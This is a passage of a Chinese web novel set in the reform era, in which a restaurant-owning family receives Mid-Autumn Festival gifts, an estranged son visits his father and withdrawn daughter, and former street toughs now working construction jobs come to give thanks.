好歹沾了个“酒”字呢!而且她记得特别清楚,上次爷爷做,大伯可爱吃了。 苏卫华一噎,有些哭笑不得,但还是感动地摸摸芽芽的小脑瓜,夸赞道:“看看,还是咱们芽芽好,又聪明、又贴心!行,大伯就听你的,以后让真酒鬼喝酒,我这个假酒鬼吃花生就行了!” 李翠英娘儿几个笑得越发开怀了。 苏卫华被笑了一会儿,到底怕李翠英跟他翻后账,赶忙转移话题:“干爸和姑父还没回来呢,等会儿他们回来再问问他们有啥想吃的没。” 孟知祥在太平庄守了妻儿多年,一朝也没那么容易放下。大宅子重新装修好后,他就在自家单辟出一间屋,专门供奉妻儿的牌位。 今天过节,两人一大早准备了些祭品,回去上香祭拜。 李翠英听完,笑睨了他一眼,嗔道:“等你想起来,黄花菜都凉了。干爸他们走之前我就问过了!而且干爸走时特意交待,说今天不让咱们伸手,他老人家到时候要亲自掌勺。” 一听这话,其他人脸上都露出欣喜的神情。 作为《料经》的撰写人,苏厚德绝对是理论与实践高度统一的厉害人。 他老人家亲自出马,上至国宴级别的顶级菜系,下到各地传统特色小吃,没有他做不来的。 这段时间住在苏家,因为守着饭店的缘故,苏厚德也难免技痒,隔三差五小露一手,就把大家的味蕾都给征服了。 李翠英更是跟着学到了不少东西。 之前周围的亲戚朋友十分喜欢她做的五香牛肉酱和辣肉酱,她自己也觉得味道很好,算是她自己的得意之作。可自从苏厚德亲自帮她调整了一下配方后,新制的肉酱味道居然能更上一层楼。 然后,这些原本不对外公开出售、只送给亲朋好友的肉酱就这么出了名,成了当下凤城市老饕们的“心头好”。个个拐弯抹角托关系找人,想从t他家买几坛肉酱回去。 就说这次过节,早在一周前,安厂长就大剌剌拖着一车节礼过来,指明了别的不要,就想多要点肉酱。 用他自己的话说,就是没办法,谁叫现在上面、下面的都知道他跟“珍珍”火锅店的老板有交情,干脆全托他来买肉酱了。 而作为苏厚德的家人,苏丽珍他们绝对是最幸福的,守着老爷子,总能品尝到别人吃不到的美味! 几人正说着话,这时面朝门口的芽芽忽然指着外头喊道:“张舅舅来了!”说完,小小的身躯就像只灵活的小燕子一下冲到门口。 大家转头一看,还真是张表舅赶着马车来了,忙都起身迎了过去。 苏丽珍有些惊讶道:“舅舅您怎么今天还过来了?是昨天账目有什么不对的地方吗?” 这次订单太多,且礼盒中以卤制的鸡鸭鹅和各种香肠最受欢迎,张表舅差不多把十里八村长成个儿的家禽都收上来了。因为数量太多,连他家负责清洗处理的人手都增加了不少。 节前实在太忙了,两边一直没工夫对账。直到昨天下午稍微清闲了些,才有时间疏离,总算把这段时间的食材款项和清理费全部结算清楚。 怕张表舅带太多钱不安全,苏丽珍昨天特地叫他和张舅妈两个提前几个小时走,争取天黑前到家。 她估摸着以张家人的性子,这笔钱应该过不了夜,必定一回家就赶紧给大伙儿送过去。 虽说她和小麦姐已经提前帮他核对过各家的小账,但这次毕竟涉及的人家多,当时又很着急,说不上哪里会有疏漏,所以表舅一家昨天不定要忙到多晚。 想着这段时间张家人跟着忙活得人仰马翻,昨天她还叮嘱两人,让他们今天务必在家好好过节,有什么事都等节后上班再说。 没想到张表舅还是一大早就过来了,她不免有些疑心是不是昨天的账目有不对劲的地方。 张表舅闻言赶忙摆手:“没有没有,没不对劲儿!昨天我娘他们还说呢,亏得你和小麦姐妹俩帮着提前拢了一遍,把这账理得清清楚楚,丁是丁、卯是卯,一分不差。昨晚上我们就把钱给大伙儿结清了,一点儿没费事。” 苏丽珍听完放下心来:“没差就好。你们昨天是不是忙到很晚?” 张表舅又说:“不晚,我昨天叫俺家大小子提前挨家通知了,让他们昨晚直接上我家,人来了直接算账拿钱,啥都没耽搁!” “再说,就算耽搁得晚了也是我应该的,这就是我该干的活儿。我娘昨天还数落了我一通,说我挣得就是这个钱,不该麻烦你们帮我拢账。” 苏丽珍笑道:“也是顺手的事,哪有啥麻烦不麻烦的。不过舅舅以后要经手的东西肯定越来越多,像这次的情况绝不是一次、两次,等今后慢慢习惯了、适应了,再上手就不费劲了。” 她认同姨姥姥的话。张表舅以后要想把这一行做熟、做大,钱账这些都只能算最基础的。看看刘五爷那些人每天都在忙什么?如果连这些都应付不来,等以后改开推进,竞争越来越激烈,没真本事压身,那才是寸步难行。 不过现在听表舅这么说,应该是也认识到了自己的短板,有心改进,这也很好,毕竟“机会只留给有准备的人”。 有了这一次的经验,相信以张家人的用心,肯定会尽快抹平自己的不足。等彻底吃透了这里头的流程、门道,哪怕今后业务量再次激增,也不至于动辄手忙脚乱。 将来,不光他们老苏家挣钱,包括中间商张家在内的所有人都顺顺当当把钱拿到手,确保每个环节都不出错,大家合作共赢,才算真正圆满。 不过,既然昨天分账顺利,那张表舅一大早急着过来干什么? 这回不等他们问,张表舅就主动解释道:“昨天屯里人来我家的时候,基本都是带着东西来的。过节了,大伙儿也想表达一下对你们的感谢,所以就托我今天跑一趟,帮他们把东西送过来!” 说着,他就一伸手,把马车上盖着的一层劳动布揭开,露出底下满满一车的山货和野味。 看着这一大车东西,苏丽珍一家都惊住了。之前光顾着打听张表舅,压根没留意这劳动布底下居然盖了这么多东西! 苏卫华马上说道:“大哥,大伙儿挣钱不容易,不该给我们送来,你……” 可不等他说完,张表舅就抢先说道:“兄弟,你先别忙着拒绝!听我说,这些东西在乡下不花钱,大伙儿也就费点事,比起你们家对我们屯里人做的,这根本不算啥!” 是真的不算啥。 想想现在家家户户院里养的膘肥体壮的猪仔和鸡鸭,一茬又一茬,再加上地里的产出,今年大伙儿的口袋真是一鼓再鼓; 还有由苏家牵头,垫付半数款项统一采买塑料布搭建的塑料大棚,这两天头一茬的菜种已经种下了。 想想再过两个月,外边天寒地冻,他们的大棚里却秧苗青青,瓜果满枝。以往全家猫屋里,多吃一口饭都觉得浪费的大冬天,他们还能种菜挣钱,这是啥神仙日子啊! 所以他们是真心实意感激苏家人,感激这一家为屯子里做的一切。 张表舅想起来时大家一番殷切叮嘱,越发害怕苏家不肯收,急急忙忙道:“反正这些都是大伙儿的心意,感谢你们家对咱们大伙儿的帮扶。大家选我当代表跑这一趟,我算是为了屯子来的,你们可不能不收,我肯定是不能再拉回去的!” 说完,就开始闷头往下搬东西。 话说到这个份上,苏家人要是再推辞就不好了。 而张表舅大概是担心他们反悔,几乎是等东西一卸下车,他连口水都没顾上喝,就火急火燎赶着马车走了。 苏家人看他那把车赶得要飞起的架势,一时都有些哭笑不得。 苏卫华只得在后头使劲喊了两嗓子,让他放慢些,千万注意安全,直到看不见人了,才无奈摇头。 苏小麦“噗嗤”笑出了声:“我还是第一次看见表舅这么活泼呢!” 大家看着这一地的东西,也都笑了起来。 果然是丰收的节日啊! 第139章 东西虽多,但他们家人也不少,连芽芽也乐颠颠地伸手帮忙,大伙儿来回几趟就搬得差不多了。 苏丽珍随手拎起一篮子山里红,上手就觉得格外沉,这一篮子少说也得有十斤。 她记得她爸好像刚搬进去一筐山楂。 她妈还说呢,一颗山楂就够他俩吃半天了,现在这么一大筐,光是拿眼看着,她牙都要倒了。 现在这里又是山楂、又是山里红的,苏丽珍暗自琢磨,该不会是张家屯的人都知道她喜欢吃酸的了吧? 一想到有这个可能,她心里就热乎乎的。 ……不过,她记得苏爷爷好像会酿山楂酒,或者再让她妈做点糖霜山楂球、山楂糕之类的零嘴,分给大伙儿尝尝吧。要不然光靠她自己,也属实有点吃不消。 脑子里正想着几种山楂能做的零食,这时,她眼角余光忽然扫到斜对过胡同口有个人影晃了两下,然后又飞快躲了回去。 苏丽珍直觉那身影有些熟悉,忙放下手里的篮子走了过去。 那人似乎也知道自己已经被看见,随着苏丽珍快步走过来,也踟躇着一点点从躲着的胡同里挪了出来。 两人打了个照面,四目相对,苏丽珍不由惊讶道:“振东叔!” 来人正是苏振东。 这是打从七月份苏厚德带着孙女留下,苏振东独自回首都后,苏丽珍第一次再见到他。 苏振东瘦了很多,看着有点没精神,可能意识到自己先前躲躲闪闪的样子不大好看,这会儿神情有些局促。 苏丽珍心知他是担心苏爷爷不愿见他,才会这样瞻前顾后。 当初他刚回首都的时候,隔两天就要往店里打一次电话,但是苏爷爷从来没接过。时间长了,苏振东就减少了打电话的频率,只每周的周末固定打一次,跟接电话的苏家人简单问候几句就结束通话。 大伙儿还劝过苏爷爷,但苏爷爷坚持如此。甚至还说,他上次带着芽芽回首都那几天,也一直忍着没回过家。 苏振东起先甚至都不知道他回去过。 但没有人比苏丽珍更清楚,别看苏爷爷现在嘴上犟,其实他心里始终惦记着这个儿子,所有的冷落不过是怒其不争,束手无策之下的狠心一搏。 这会儿看着苏振东躲在这里,两手拎着大包小包,却神情紧张,连主动问一句苏爷爷都不敢t,苏丽珍不由心里一软,忙主动上前招呼:“振东叔,您来了,快跟我回店里吧!” 说话又想帮忙接过他手里的东西。 苏振东忙摇头:“别,这网兜子勒手,我来就好。” 苏丽珍也没跟他争,而是顺势透露道:“您是什么时候来凤城的?怎么没提前打电话,我们也好去接您。赶巧这会儿爷爷跟孟姑爷爷一起回宅子那边祭祀,估摸着还得等一会儿才能回来。” 苏振东听说苏厚德没在先松了口气,可紧接着又觉苦闷,只能强打起精神答道:“我昨晚到的凤城,太晚了,就没打扰你们,直接找了个招待所……” 两人边说、边往回走,三两句话的工夫,苏卫华他们已经听见动静,发现居然是苏振东来了,也都高兴地迎了过来。 “振东兄弟来了!” “哎呀,你啥时候到的?咋不提前告诉我们呢!快进屋!” 双方亲热地打了招呼。 等进了店里,几乎刚一落座,苏卫华就拍着他的手臂,笑道:“振东兄弟,你来了好啊,咱们两家才算真正团圆啊!” 李翠英给他倒了杯水递过去:“来,振东兄弟,快喝点水润润嗓子。”说完,又张罗着去泡茶、端水果。 苏振东感受着他们的热情周到,整个人也放松了不少,只是当他的目光扫到一直躲在苏小麦身后的女儿时,心下又有些黯然。 “静雅。” 他朝着女儿招手,目光中不禁流露出思念和期待。 可惜芽芽看也看不他一眼,转身就飞快往楼上跑了。 苏振东眼里的光顿时黯淡下来。 他之前在电话里听苏卫华说,芽芽的情况好转了不少,没想到面对自己的时候还是之前的样子。 苏丽珍悄悄给苏小麦使了个眼色,后者微微点头,就跟着一块上了楼。 李翠英看苏振东满脸失落,忙宽慰道:“振东兄弟,你别着急……这孩子情况特殊,你多给他点时间,以后总会好起来的。” 苏卫华也说:“是啊,一家人没有解不开的结。振东兄弟,芽芽聪明又懂事,等她长大了,懂得多了,她一定能理解你的。” 苏振东心知他们不过是安慰自己。如果不是自己之前躲在胡同口,亲眼看到芽芽在他们面前如何像只小鸟一样活泼欢快,他这会儿也能闭着眼睛顺势让自己相信他们的话。 可事实上,根本不是这样,他的女儿就是不想见到他! 也许,这孩子心里一直都恨着他。 他爸说的对,这一切都是他这个不称职父亲的报应。 苏丽珍在旁边看着他黯然的样子,心里叹了口气。 她想起刚刚芽芽的反应,明明爸爸来了,芽芽却像看不到、听不到一样。对他的接触更是十分抵触,到了恨不得时时刻刻把自己藏起来的地步。 她没看过芽芽跟她妈妈的相处模式,但据苏爷爷说,跟苏振东的也差不多。 她推测,也许是当初苏振东与芽芽妈妈争吵的记忆太令她痛苦,所以她潜意识里不愿意想起这些,为了保护自己,就干脆连制造这些不好记忆的人也一并忽视。 久而久之,不管苏振东和妻子如何表现,好也罢、坏也罢,她都无动于衷,拒绝给予任何反应,让他们成了连陌生人都不如的存在。 说实话,芽芽会变成这样,苏振东夫妻都难辞其咎。 上次苏爷爷回首都,确诊芽芽的病情后,第一时间就去找了芽芽的妈妈谈话。 苏爷爷说,这个女人看着诊断结果,当时就哭了,哭得特别伤心。 可哭过之后,她就平静地告诉苏爷爷,她和苏振东的婚姻已经走到尽头,她是不会再回去了。 至于芽芽,就这么跟着苏爷爷留在凤城也挺好。她把自己身上所有的钱都给了苏爷爷,并且承诺今后每个月都会给苏爷爷寄一笔钱。这笔钱苏爷爷是给芽芽治病也好,攒起来也好,都由苏爷爷自己做主 这就是目前她能为芽芽做的一切了。 苏爷爷也非常平静地接受了这个结果。 他们都知道,到了这个地步,这段婚姻已经绝无可能了。而芽芽的问题,也不能全部归咎于苏振东一个人。 可事已至此,再追究谁对谁错也是徒劳。 当务之急,是快刀斩乱麻,让夫妻双方不再互相纠缠伤害,尽快结束这段无望痛苦的婚姻,把对孩子的影响降到最低。 苏爷爷不是不怨,也不是不怪,而是这就是目前对双方来说,最好的结果。 所以苏爷爷现在才迫切希望苏振东能做出改变,不要再沉迷于这段感情,带着芽芽一起开启新的生活。这么做,既是为了芽芽、同时也是为他自己的人生负责。 而知道前世结果的苏丽珍其实比所有人都急切地希望苏振东能尽早醒悟。 芽芽的问题是一方面,只有他真的放下对前妻的感情,把人生的重心重新放回自己和亲人身上,他才不会再像上辈子那样,不管不顾跑去米国,最后身死异乡,让苏爷爷白发人送黑发人。 可到底该怎么说服对方放下呢? 她上辈子也一样是个“恋爱脑”,最知道这种仿佛痰迷心窍的样子多难说通,要不然也不会做下那么多错事,好在苏振东比她强了不少。 可再强,也是“恋爱脑”。 这就叫人不得不担心! 苏振东并不知道苏丽珍心里因为他产生的焦虑,只是为自己一度让父亲和女儿伤心而感到自责。 不过,他到底记得眼下是在苏家,想着苏厚德待会儿就回来了,到时不定愿不愿见到自己,忙收拾好情绪,抓紧时间跟苏卫华夫妻打听苏厚德的近况。 之前想着中秋要来,怕老父亲不耐烦看见他,他这两周都没打电话,心里总有些惦记。 苏卫华也没隐瞒,实话实说最近半个月,苏厚德和孟知祥一直在帮着他们忙活饭店的事。两人帮了不少忙,虽说精神头都不错,但也确实有些辛苦。 苏卫华夫妻为此很过意不去,提起这茬,脸上都带着歉意。 想到半辈子对自己嘘寒问暖的老父亲,如今心心念念想着、帮着别的人,作为独子的苏振东其实心里十分酸楚。可他也知道是自己伤了爸爸的心,让他失望,才造成了今天这副父子离心的局面。 他告诉自己,既然有人做的比他好,能让爸爸觉得高兴,女儿也过得快乐,他合该为此感到庆幸,而不是失落和嫉妒。 他便笑着摇头道:“大哥、嫂子,这有什么过意不去的!你们把爸爸和芽芽照顾得这么好,远比我这个不孝子强多了。” “而且,我了解爸爸,他其实很喜欢做菜。当年是为了我和我妈,他才不得已放弃了能让他施展才华的地方,将所有心血都倾注在我们身上。” “现在,因为你们的缘故,他能重新回到他喜欢的厨房,重拾当年手艺,他心里肯定很开心。所以论理儿,也该是我跟你们说声谢谢才是。” 苏卫华和李翠英看他说这话时目光真诚,不像是出于客套,心里顿时轻松了不少,也高兴起来。 易地而处,换他们是苏振东,听到自己亲爹放着自家的烂摊子不关心,反而跑去帮忙一个刚认识没几天的干儿子,这事总是好说不好听,容易叫人生出芥蒂的。 所以从这方面看,振东兄弟不亏是干爸的儿子,心胸宽广,也愿意为别人着想。 只是可惜了,情路不顺,日子不好过。 本来之前,他们还觉得女儿不该贸然给干爸出主意,为此私下还批评过她。可现在看着振东兄弟这样大好的青年人,为了一段不属于自己的感情,闹得家不成家,他们心里也惋惜不已。 这会儿倒觉得女儿的主意挺好,是该给他下一剂猛药,逼一逼/他,不能老叫他一碰上感情的事就揣着明白装糊涂。 夫妻俩便想趁着这机会,也劝上两句,没想到刚张嘴,就听门外有人大声喊道:“苏小老板在家吗?” 第140章 这一听就是在叫苏丽珍。 常来饭店的老主顾平时都喜欢喊苏丽珍一声“小老板”,时间长了,连相熟的人也跟着凑趣这么叫。慢慢地,大家就都习惯了这个称呼。 苏丽珍赶忙出去,到门外一瞅,来人竟是顾英杰和大河。 两人手上都拎着不少东西,旁边还跟着个年纪不大的小姑娘,从她一出来,小姑娘就时不时用怯生生又满是好奇的目光打量她。 大河一见苏丽珍,便第一个抢着上前招呼:“苏小老板,节日快乐啊t!” 苏丽珍仔细打量二人,这还是自三月初给几人介绍工作后,他们第一次碰面。 她爸手术的时候,顾英杰听说了,曾特地到医院看望过,只是那时她正好守在店里,只是过后才听她妈提起过。 这么长时间没见,两人变化都挺大。 人瘦了,但也更显精壮,皮肤黝黑发亮,精神头特别足。 尤其大河,从前身上总免不了几分混迹市井的痞气,虽则脸上常挂着笑,可也时不时流露出前程无望的丧气。但现在,人还是那个人,周身却洋溢着一股踏实乐观的气质,显得整个人敦厚可亲。 不过,他一开口倒还是老样子,话密得很:“今天我们哥几个放假,老大就说这难得空闲了,想当初您给咱们介绍了这么好的工作,咱哥几个还没正式谢过您。今天又赶上过节,所以咱们就一大早准备了点东西,来给苏小老板你们送节礼。” 说着,就赶忙把自己和顾英杰手里的东西放一起,往苏丽珍跟前堆,“也不是啥好东西,一点小心意而已,苏小老板您可千万别推辞。” 他一边嘴上说着“没啥好东西”,一边努力把其中两瓶高档白酒放在最顶上,然后两只手不停摆弄,试图把瓶身上的商标都显露在苏丽珍眼前。 可惜这一堆东西着实不少,又高低不平的,酒瓶子放上头总是跑偏,他摆弄了好几下也没摆出想要的效果。直到旁边顾英杰看不下去,不着痕迹地抬脚踢了他一下,他才罢手。 苏丽珍看得津津有味,心里好笑,但面上却一点不显,还顺势夸道:“这个牌子的酒可不好买,高档酒的票不好弄,有时候有了票,百货柜台又没有酒,你们费心了!” 大河一听,嘴角立即咧得老大,一拍大腿道:“哎呀,要不说还得是苏小老板您啊,真是个识货人!这两瓶酒贵的要命不说,那家伙买到手还老费劲了,我们老大他托了……” “行了,别啰嗦了。”顾英杰受不了,直接开口打断了他的话。 他看着苏丽珍道:“其实没什么的,从前想来,只是那会儿手里的钱大多也是你给的。不像现在,我们哥儿几个能用自己挣得工资买……虽说也是你给找的活儿,但总归是个心意。” 顿了顿,他又补充道:“也算是个交代吧。” 苏丽珍当即便明白了他的意思。 当初,他为了钱差点做了错事。如今,他花的每一分钱都是自己和兄弟们堂堂正正挣来的。他是以此来告诉她,自己以后不会再走错路,也算对得起她当时拉他的那一把。 于是,她也笑着答应道:“好,那我就不客气了,谢谢你们。” “而且说起来,我这边更过意不去,本来早应该去看看你们的,但家里总有这样、那样的事情耽搁。所以不好意思,虽然这话问得有些晚,但我还是想打听一句,你们现在怎么样?工地的工作应该也都习惯了吧?” 其实并不是她有意忽视他们。打从把几人介绍到工地后,店里先是因为她的一篇文章再度迎来爆发期,每天人/流爆满,之后她爸手术、休养,她自己还要兼顾上学,直到七月暑假才将将闲下来。 那天大勇哥在店里提议,要将顾英杰提成第二施工队的队长,她当时还想着,总算有时间去看看几人了。 她当初留人,就是为了以后用人。虽说也一直都从大勇哥那里了解几人的情况,可到底比不上亲自去见一见。 况且,总是不露面也显得她傲慢不真诚。 哪知计划赶不上变化,当天她又机缘巧合救了孟姑爷爷,继而很快和苏爷爷重聚。 苏爷爷在她心里,是跟父母一样重要的存在。她要想办法帮苏爷爷保住孙女和儿子,如此一来,就把看顾英杰几人的事再次推迟了。 一耽搁就到了今天。 尽管人有亲疏远近,但看着人家真心实意登门道谢,对比自己的忽视,苏丽珍心里还是有些歉疚的。 听了她的问题,大河又忍不住,乐颠颠跳出来道:“苏小老板,咱哥儿几个现在可好了!工地上虽然累了点、晒了点,但是工资很不错啊!就我自己,上个月连奖金一起,拿了四十八块呢!” “再说我们当中的猛子,原来这小子不光长个吃心眼,做瓦匠活也特别厉害。这才多长时间,普通小工的活就干的贼溜,带他的老师傅说他明年就能出师,当大手师傅了!” 然后,他又使劲拍了拍顾英杰的肩膀,“还有我们老大!他现在都是队长了,手底下管着二、三十号人,每个月光队长的补贴就比我们多十块钱!” “苏小老板,托您和丁经理的福,我们哥几个现在也算吃穿不愁了!” 他把自己的外套衣角撩起来给苏丽珍看,“您瞅瞅,咱们现在里外都是新衣裳了!眼下手里有富余,还有俩月过冬,我们今年的棉袄就都做得差不多了,连给咱们妹子都攒出了两身厚实料子!” 苏丽珍便顺着他这话,看向那个一直很安静的女孩。 大河叭叭一顿说,叫顾英杰再次忍无可忍,挥手将他赶到一边,见苏丽珍看着自己身边的女孩,便顺势介绍道:“这是我妹妹,叫梅子。” 女孩朝她腼腆一笑,小声打了个招呼:“苏小老板好。” 苏丽珍也回以微笑:“你好,梅子。你叫我苏丽珍或者珍珍就好。” 事实上,苏丽珍很早就从丁大勇那里听说过这个女孩的事。 梅子跟顾英杰、大河几人并没有血缘关系,她是顾英杰一个好兄弟的妹妹。 梅子这个女孩本身也是个可怜人。据说她还在娘胎里的时候,亲生父亲就意外过世了。如此,出生的时候又因为是个女娃,被自己的亲奶奶怨恨嫌弃。 老太太背着所有人,把刚出生的梅子就送走了。后来任凭所有人怎么逼问,硬是死咬着不肯说。 直到临死前有些糊涂了,才让梅子的大哥套出了话。 梅子大哥根据奶奶留下的线索终于找到了当初收养梅子的人家。 这家人在乡下,对梅子很不好。虽说并不动手打她,却纯粹只拿她当使唤丫头用,天天干不完的活,却从来不给吃一顿饱饭。 梅子大哥和母亲找到她的时候,十八岁的姑娘又瘦又小,只剩一把骨头。 梅子大哥想把妹妹接回去,那家人自然不肯,还狮子大开口,要了一大笔钱。 偏偏梅子又是当初由亲奶奶送过去的,人家有人证,去找公安调节的时候,梅子的养母就哭天抢地地叫屈,说这些年为了养活梅子花费了多少多少的粮食、精力,胡搅蛮缠地让人头大。 梅子大哥没办法,为了凑钱,铤而走险去工厂偷东西,结果被当场发现,又在逃跑时误伤了一名保卫人员,就这样被直接判了三年大狱。 梅子母亲本就多年思女心切,又遭逢这连番打击,也彻底支撑不住,开始一病不起。 关键时刻,是顾英杰带着兄弟几个帮忙赎回了梅子,又送梅子母亲入院治疗,为此甚至把家传的一对银镯子都抵给了刘五爷。 苏丽珍遇见他的时候,就知道他那会儿正缺钱,也知道他凑钱是为了帮兄弟,只是不了解这个中细节。 直到后来,她无意间向丁大勇打听几人在工地的表现,才知道了这件事的原委。 那时因为有苏丽珍给的那笔钱,梅子被接回来后,和她母亲一起得以好好调养了一番,身体恢复得不错。 夏天天气正热的时候,梅子经常来给顾英杰几人送午饭,有时还伸手帮忙干点散碎的零活。 正巧那段时间,丁大勇也常往工地送冷饮、绿豆汤之类防暑降温的小吃。接连几次碰见女孩在,就让人把东西也分给女孩一份。 没想到梅子人虽怯懦,却极有原则,从来不肯拿工地发的任何东西。 顾英杰兄弟几个把自己那份分给她,她也不肯要。 丁大勇因此印象深刻,后来一点点就从嘴快的大河那里了解了这姑娘的来历,自此越发对顾英杰另眼相看。 他也时常为这事夸奖苏丽珍眼光好,字里行间都流露出对顾英杰的看重。 而苏丽珍知道这些事后,顾英杰的人品自是不必再说,她对那个叫梅子的女孩则印象很深。 如今有机会见面,她看着对方那双清澈见底的眼睛,即便羞涩腼腆、也掩不住真诚喜悦的神色,心里第一时间就喜欢上了这个女孩。 能在经历了那么多磨难t,知晓了自己身世的残酷真相后,依然保有这样纯真平和眼神的姑娘,苏丽珍找不到理由不喜欢她。 她朝着对方再次弯起唇角,笑眯眯道:“看我,光顾着说话了。梅子,顾大哥、大河哥,咱们先进屋,坐下细聊!” 正好这时,李翠英见她久不回来,耐不住出来看看。 她记得顾英杰。想起之前苏卫华手术住院,这小伙子特地来医院看望,加上丁大勇常提起这个人,当下便一眼认了出来。 李翠英立即十分热情地招呼三人进屋。 不过顾英杰和大河都拒绝了,直说时间不早了,马上还要去丁大勇家。 李翠英看他们态度坚决,只得作罢。 苏丽珍便跟李翠英说,让她帮忙从之前张表舅送的那些山货里取一些来,直接让三人带回去。 顾英杰当然不答应,可他刚要说话,苏丽珍就抢在他之前开口:“顾大哥,你别拒绝。正如你之前说的,你来给我们送节礼,既然是节礼,自然要有来有回。” 她看着三人,眉眼含笑:“你们总不会是打着‘一杆子买卖’,送完这一次,往后再不跟我们家来往了吧。” 大河赶忙道:“哪能呢,您看得起咱们,那咱们就不能掉链子!” 说着,又捅咕了一下顾英杰,“老大,您看人苏小老板多敞亮,咱就听人家的吧!” 顾英杰看着眼前气质极为出众的女孩,目光有一瞬间的复杂,不过很快又移开目光,也没再说拒绝的话。 很快李翠英就去而复返,拿来许多山货野味。 大河看见其中一对山鸡,眼睛都亮了,朝着李翠英一阵嘿嘿傻笑,好话不要钱地往外冒。 苏丽珍留意到梅子一直在看饭店的招牌,而且嘴唇微动,应该是在分辨上面的字,想了想,便故意问大河道:“大河哥,我听说你算账很快,就是有些字写得不太准,大家都建议你多练练,以后说不定能当个专业的核算人员。” “我昨天恰巧在整理上学时用过的课本和笔记,不知道这些你有没有需要的?” 她确实听丁大勇提起过两回,说大河嘴快,脑子也快,记账算东西这方面比别人都强,就是可惜文化程度不高,字总写得丢胳膊少腿的。 大河听完一愣,张嘴就嚷嚷起来:“练啥啊!我用脑子记就行,就我这笔烂字还费那个……” 没等他说完,一直留意着苏丽珍和梅子的顾英杰却用胳膊肘轻搥了他一下。 大河不解,侧头看过来,就见顾英杰的眼神往梅子的方向扫了一下。 大河又去看梅子,只见小姑娘一双眼睛亮亮地看着自己,瞬间会意,赶忙道:“啊,是、是!就我这笔烂字可不得多练嘛!那啥,苏小老板,那就麻烦你了,把你不用的啥课本笔记的都给我好了。” 顾英杰闻言瞪了他一眼,转头对苏丽珍道:“只给我们小学的就好,谢谢。”《 》 140-150 第141章 苏丽珍笑着应了声,回楼上很快取来小学时的课本笔记。 这些课本经过她和苏小麦两个人使用后,还保持得八成新。 笔记之前在她手里时还只是寻常,可再经由苏小麦一点点补充完善后,毫不夸张地说,这份笔记拿去教课也足够了。 她将这些书本都整齐收纳在一个旧书包里,直接连书带包都交给了顾英杰三人。 看着梅子在旁边兴奋激动的小眼神,她轻声嘱咐道:“等这些都看完了,可以拿回来再换初中的。” 梅子其实很聪明,到这会儿已经反应过来,这些书本其实是苏丽珍想借给她。 不直接说,应该是照顾她的自尊心。 想到对方如此体贴友善,她既高兴、又感动,一张脸红红的,小声又坚定地对苏丽珍道谢:“谢谢你,苏……珍珍。” 苏丽珍不由再次朝着对方笑了起来。 苏珍珍,嗯,听起来也不错。 顾英杰在一旁看着两个女孩的互动,唇角也轻轻弯了弯。 送走了顾英杰三人后,李翠英帮着苏丽珍一起拿堆在地上的节礼。 李翠英还忍不住跟苏丽珍感慨:“这个小顾啊,还跟当初一样,就是不愿意进店里。回头得让大勇私下劝劝,其实那件事都过去了,况且他也没真做出啥危害咱们的事,实在没必要一直放在心里。我跟你爸还是挺喜欢他这个人的。” 苏丽珍一愣,等再一问,这才知道原来顾英杰四人来店里面试那天,他们比约定时间早到了半小时,然后进店跟苏卫华和李翠英打了个招呼后,就说什么也不肯留在店里,死活非要在外头等丁大勇来。 李翠英继续感叹道:“人活着,谁没有个身不由己的时候?就算他真的出于无奈越过了那条线,但他的出发点也是好的。” “要是有人能及时伸手拉他一把,让他把这口气缓过来,这样的人以后也学不了坏。就说小顾他们现在,你看看一个个精精神神、稳稳当当的,瞧着就是正经过日子的人,这不是挺好!” 苏丽珍听着妈妈的念叨,也有些若有所思。 是啊,顾英杰几人如今已经彻底改头换面,整个人真正安稳踏实起来。放现在,谁能想到他们曾是朝不保夕、差点要跟心术不正的混子为伍的落魄人呢? 而他们能有如今的变化,诚然与自身原有的较高道德水平有关,但也不得不说,这其中,一份能给他们自身及家人带来保障、且未来充满潜力的工作有多么重要。 虽然一开始,顾英杰几人做的只是工地上最简单的活计,但因为她和大勇哥有意为公司培养人才,所以总是不断给工人提供学习的机会,他们几个自然也得到了相关便利。 比如,工地上,想单纯学技术,可以去学木匠、瓦匠和水电工;如果有设计或管理能力,也可以选择学习相关的建筑设计和具体施工流程,将来自己动手设计建筑或组建施工队伍。 尤其针对后者,只有薛老爷子一个人还是太少,所以苏丽珍和丁大勇早就商定,一旦公司里想学设计的人足够多,他们到时候就定期组织学习班,然后到大学或者设计院请专业的老师来授课。 苏丽珍一点也不担心“教会徒弟,饿死师父”的问题。 因为现在的市场太大了,尤其他们公司因为早期背靠家里的饭店,后来又有凤城日报、政府机关背书,让他们能够第一时间在凤城站稳脚跟,并快速扩大规模。 相比之下,后市许多公司面临的市场占有率不足的大难题,在他们现阶段恰恰是最不成问题的。反而是公司现在因为自身专业人才稀缺,技术人员不足,所以整体效率不高,工程量也提不上来。 说白了,就是面对几乎就摆在眼前的大蛋糕,他们偏偏没长那么大一张嘴,半天都吃不进肚子里,你说愁人不愁人。 所以公司里一直态度积极地支持和鼓励工人们想办法去自学、多学,提高手艺,增长见识。 工人们领会了公司的意思,知道在这里能学到很多在外头要给人伏低做小才能学到的东西,自然无比珍惜。 当然也有得过且过、不太愿意给自己“找事”的人。 面对这种人,公司也不会说什么,毕竟每个人生活方式不同,只要做好本职工作就行。 可这种人毕竟是少数。 在如今将将吃饱肚子的眼下,大多数人为了能有个稳定的未来,真的一点不怕吃苦,简直恨不能一口气学他个十门八门手艺,以后不再为生计担忧。 顾英杰和大河他们恰恰也是这种人,所以打从到工地第一天就摆正态度,抓紧一切机会学习,所以这几个月都各自学到了不少东西。 不提别人,就说刚刚一直嘻嘻哈哈的大河,其实在工程核算方面就学得又快又好,连丁大勇都比不上。 以后即便不在“筑梦”了,凭他的能力,换别家需要做工程核算的单位也都能应付得来。 这也是大河肉眼可见地整个人踏实下来的原因所在。 稳定的收入能带来一家人的衣食无忧,使人放松心情。而一份能让人看到潜力、看到未来希望的工作则会带来安心,叫人真正踏实下来。 可见一份好的工作或者说事业,对一个人有多重要。 虽说顾英杰他们的工作是她安排的,但苏丽t珍这会儿想起这些倒不是为了沾沾自喜,而是脑子里出现了一个新思路。 她不禁看向屋子里还在和苏卫华说话的苏振东,似乎找到了一个改变他的办法。 有人说“事业是男人的第二春”,话糙,但理不糙。 或许她也可以试着从这方面入手。 正入神间,就听见熟悉的大嗓门:“珍珍,翠英,你们娘儿俩这忙啥呢?” 原来是苏爷爷和孟姑爷爷回来了。 苏厚德一看见她们,就直接把孟知祥丢下,三两步走过来,第一时间伸手帮忙拿东西:“这又是谁给送来的吧?好家伙,这茶、这酒,可都不是便宜货啊!” 